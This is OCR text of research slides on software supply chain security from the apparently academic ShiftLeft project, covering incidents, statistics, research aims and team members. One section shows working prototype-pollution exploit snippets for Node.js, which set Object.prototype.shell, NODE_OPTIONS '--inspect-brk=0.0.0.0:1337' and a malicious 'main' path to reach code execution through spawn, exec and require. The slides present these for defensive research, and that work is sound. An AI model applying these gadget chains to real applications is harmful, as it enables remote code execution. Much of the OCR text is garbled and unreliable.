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Software Supply Chain

The entire process of creating, managing, and distributing software, including all
the components, tools, systems, and practices involved.
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Software Supply Chain Attacks

A software supply chain attack is the nefarious alteration of trusted software before delivery.

event-stream: CVE-2018-1000851
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https://blog.npmis.org/post/180565383195/details-about-the-event-stream-incident
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Software Supply Chain Attacks

A software supply chain attack is the nefarious alteration of trusted software before delivery.

polyfill.js: CVE-2024-38526
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Impacted mobile devices by redirecting them to
various scam sites.

https://www.akamai.com/blog/security/2024-polyfill-supply-chain-attack-what-to-know
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Software Supply Chain Attacks

A software supply chain attack is the nefarious alteration of trusted software before delivery.
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https://rad.security/blog/software-supply-chain-attacks-13-examples-of-cyber-security-threats
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State of the Software Supply Chain

Sonatype report based on analysis of 7 million open source projects (2024)

OPEN SOURCE SCALE AND CONSUMPTION BEHAVIORS BY THE NUMBERS
4 0

Growthinrelease frequency

512,847 156% between 2014-2023
malicious packages discovered YoY growth of
463%

since November 2023 malicious packages
CVE Growth from2013-2023

4 5 TRILLION 530 BILLION
Juv;Script (npm) requests, Python (PyPl) package requests, 704 p 102

70% YoY growth 80% YoY increqse LARGELY DRIVENBY Al & CLOUD Malicious Packages Discovered, since
proactive identificationbeganin 2019

https://www.sonatype.com/hubfs/SSCR-2024/SSCR 2024-FINAL-10-10-24.pdf
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State of the Software Supply Chain

Sonatype report based on analysis of 7 million open source projects (2024)

A TIMELINE OF ATTACKS

We have continued to curate a timeline of known malicious packages and malware campaigns. This interactive
timeline summarizes notable supply chain incidents, next-gen attacks and other incidents propagated using the
software supply chain.

May June June July August

PyPI crypto-stealer Russia-linked Polyfill.io supply Npm packages Ideal typosquat
targets Windows ‘Lumma’ crypto chain attack hits conceal macOS ‘solana-py’ steals
users, revives stealer now targets 100,000+ websites malware in ‘travis. your crypto wallet
malware campaign Python devs yml’ files, drop keys

bogus “Safari

Updates”

www.sonatype.com/hubfs/SSCR-2024/SSCR 2024-FINAL-10-10-24.pdf
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ShiftLeft to the Rescue

The overall objective of SHIFTLEFT is to contribute to a new paradigm shift for securing
SSCs. The proposed paradigm is based on a declarative code-centric platform supporting
continuous security analysis at scale by means of novel abstractions.
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ShiftLeft to the Rescue

The overall objective of SHIFTLEFT is to contribute to a new paradigm shift for securing
SSCs. The proposed paradigm is based on a declarative code-centric platform supporting
continuous security analysis at scale by means of novel abstractions.
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Continuous Analysis Platform a la CodeQL
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ShiftLeft

Securing the Software Supply Chain by Code-centric Analysis
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ShiftLeft: Research objectives

WP1: Develop the security foundations of the
software supply chain.

 WRP2: Build a declarative security analysis
platform with support for expressive security
policies.

« WHP3: Conceive a usable dashboard that
Integrates human-in-the-loop and Al-driven feed-
back.

WP4: Demonstrate feasibility and usability via
large-scale experiments on real-world software
supply chains.




ShiftLeft: WASP NEST Impact

<ShiftLeft

Reused lerﬂrhf Human-in-the-loop

Explanation & Visualization

(L s o, (0

Consult @ </ > p—

e B

Feedback [

Developer

i Interact

Continuous analysis platform

Maven code
Appllcatlun L
B =
[

¢F‘ush code

Commit

history : Paolicy, Analysis,
* " 7 Monitoring, Cusry
Trigger ’ Prioritization w

‘ analysis
GitHub Server

Results

Dashboard

ﬁ

ShiftLeft: Impact

Research: publications in top-tier scientific
venues and international collaborations with top
universities

Education: graduation of world-class M.Sc. and
PhD students, and the project’'s own graduate
course

Industry: real-life demonstrators and
standardization activities on the software supply
security (W3C, IRTF)

Society: Raise awareness and create a
community around software supply chain security

12



ShiftLeft; Team
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ShiftLeft: Team

« PlIs: Musard Balliu (KTH), Alexandre Bartel (UmU),
Christoph Reichenbach (Lund), David Sands (CTH),
Rebekka Wohlrab (CTH)

« PostDoc: Raffaela Groner

 PhD students: Eric Cornelissen, SiKai Lu, Mikhall
Shcherbakov, Erik S6derholm Prantare

* Research engineers: Diogo Torres Correia

» Industry partners: Cparta Cyber Defense, Debricked,
Ericsson, Recorded Future, SEB

* You?




ShiftLeft; Research Toolbox

ShiftLeft: security and software engineering
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Security foundations: Models and policies

Static code analysis at scale: code property
graphs, type systems, symbolic execution,
Information flow control

Dynamic code analysis: sandboxing, fine-grained
access control, code instrumentation, dynamic
taint analysis, runtime monitoring

Hybrid analysis: combination of static and
dynamic analysis, explainability, compositionality

Tooling: Scalable analysis for Java, Android,
JavaScript and their runtimes

Usable security: Elicitation of developer
preferences, self-adaptive systems, Al-driven
prioritization, visualization, human-in-the-loop
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Example: Code Reuse Attacks in JavaScript

Prototype-based inheritance — inheritance by reusing existing objects that
serve as prototypes.

o1 > Object prototype const ol = {};

__proto__: __proto__: null

toString: Function

valueOf: Function

constructor: Function




Prototype-based Inheritance 101

Prototype-based inheritance — inheritance by reusing existing objects that
serve as prototypes.

o1 > Object prototype const ol = {};
ol. proto_ .x = 42;

__proto__: __proto__: null

toString: Function

valueOf: Function

constructor: Function

X:42




Prototype-based Inheritance 101

Prototype-based inheritance — inheritance by reusing existing objects that
serve as prototypes.

o1 3 Object prototype const ol = {};
ol. proto_ .x = 42;

__proto__: __proto__: null

const 02 = {};

toString: Function console.log(02.x);

alueOf: Funciti
02 vald unction // Output: 42

__proto__: constructor: Function

X:42
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Property Accessors via Bracket Notation

Property accessors enable access to an object's property by dynamically
computing its name.

function entryPoint(argl, arg2, arg3) {
const obj = {};
const p = obj[argl];
p[arg2] = arg3;
return p;

}




Prototype Pollution Leads to RCE

Prototype Pollution is a vulnerability where an attacker may modify an
object’s prototype at runtime and trigger the execution of code nadaets.

Gadget
obj w/ prototype
function entryPoi argl, arg2, arg3) { function execHelper(args, options) {
const obj = {}; const cmd = options.shell || 'bin/bash -c';
const p = obj[argll; return exec(  ${cmd} ${args} );
p[arg2] = arg3; obj[’__proto_ '] }
return p;
}

p['toString’] = 1

entryPoint('__proto_ ', ‘tb&iting’¢alq;);

!
SR HE



Declarative Taint Analysis in CodeQL

class Config extends TaintTracking::Configuration {
Config() { this = "Config" }
override predicate isSource(DataFlow::Node node) {

node = any(DynamicPropRead read) // taint = base[exp];
}
override predicate isSink(DataFlow::Node node) {
exists(DataFlow: :PropWrite write | // taint[exp] = value;
node = write.getBase() and
not exists(write.getPropertyName())
)
}

}

from Config config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink, source, sink, "Taint analysis example.”



Universal Gadget Explitation (1)

// Prototype pollution

Object.prototype.shell = '/usr/local/bin/node’;
Object.prototype.env = {};

Object.prototype.env.NODE OPTIONS = '--inspect-brk=0.0.0.0:1337";

//Gadget 1
const { spawn } = require('child_process');
const 1s = spawn('ls', ['-1h', "/usr']);

// Gadget 2
console . log ( execSync (" echo " hi"’). toString () );

Affects all the APIs for command execution in
Node.js: spawn, spawnSync, exec, execSync, execFileSync

P U
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Universal Gadget Exploitation (2)

// Prototype pollution
Object.prototype.main = "/home/user/path/to/malicious.js";

// Gadget
const bytes = require('bytes’');

main

The main field is a module ID that is the primary entry point to the program.

That is, if the package is named bytes, and a user installs it, and then does require("bytes"), then the
main module's exports object will be returned.

If main is not set, it defaults to index.s in the package's root folder.



Universal Gadget Cocktail (1)

// /npm/scripts/changelog.js: shipped with Node.js and uses spawn
internally

// Prototype pollution
Object.prototype.main = "/path/to/npm/scripts/changelog.js"

Object.prototype.shell = '/usr/local/bin/node’;

Object.prototype.env = {};

Object.prototype.env.NODE_OPTIONS = "--inspect-brk=0.0.0.0:1337";
// Gadget

const bytes = require('bytes’');



Universal Gadget Cocktail (2)

// /usr/lib/node_modules/corepack/dist/npm.js:
#!/usr/bin/env node
require('./corepack').runMain(['npm', ...process.argv.slice(2)]);

// Prototype pollution
Object.prototype.main = "/usr/lib/node_modules/corepack/dist/npm.js”
Object.prototype.NODE OPTIONS = '--inspect-brk=0.0.0.0:1337";

// Gadget
const bytes = require('bytes');




Next-Gen Software Supply Chain Attacks?

Exploits
Vulnerability Report Application  Version  Attack Gadget ¢ G H U nter fOI’ N Od e JS rU ntl m e
CVE-2019-7609 Kibana 6.6.0 RCE child_process.spawn.Inx .
HackerOne #852613 Kibana 76.2 RCE lodash.template O 55 eXp I O Itab I e g ad g etS .
HackerOne #861744 Kibana 770 RCE lodash.template .
Reported by Silent Spring  npm cli 810 RCE child_process.spawn ¢ G H u nter for De n O ru ntl m e
CVE-2022-24760 Parse Server  4.10.6 RCE bson .
- o 58 exploitable gadgets.
CVE-2022-39396 Parse Server  5.3.1 RCE bson
CVE-2022-41878 P S 5.3.1 RCE b
—  Dasty for NPM packages
CVE-2022-41879 Parse Server  5.3.1 RCE bson
Reported by Silent Spring ~ Parse Server  5.3.1 RCE require #1 O 1 6 Arb |t ra ry COd e EXGC ut| O n S (AC E )
CVE-2023-23917 Rocket.Chat 5.1.5 RCE bson
CVE-2023-31414 Kibana 870 RCE reguire #2 026 Arbitra ry Command Injections (ACI)
CVE-2023-31415 Kibana 8.70 RCE nodemailer
CVE-2023-36475 Parse Server  6.2.1 RCE  bson o7 Local File Inclusions ( LFI )

https://github.com/KTH-LangSec/server-side-prototype-pollution
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Ongoing Research Tracks

= Track 1: Security SBOMs — Eric Cornelissen

= Software Bill of Materials is an increasingly popular building block for supply chain
security, but very much black/grey box (list of dependencies at best)

= How to extend SBOM to further help security analysis and hardening of an
application?
= |dea:

= Sensitive resources, dangerous sinks, fine-grained in(dependencies) for debloating,
sandboxing

= Track 2: Differential Static/Dynamic Analysis — SiKai Lu
= Code updates can break security and whole-application analysis is expensive
= How to efficiently and automatically identify bugs introduced by malicious code
commits?
» |dea:
= Automatically compute pre- and post-commit code differences
= Perform localized analysis for specific attack vectors
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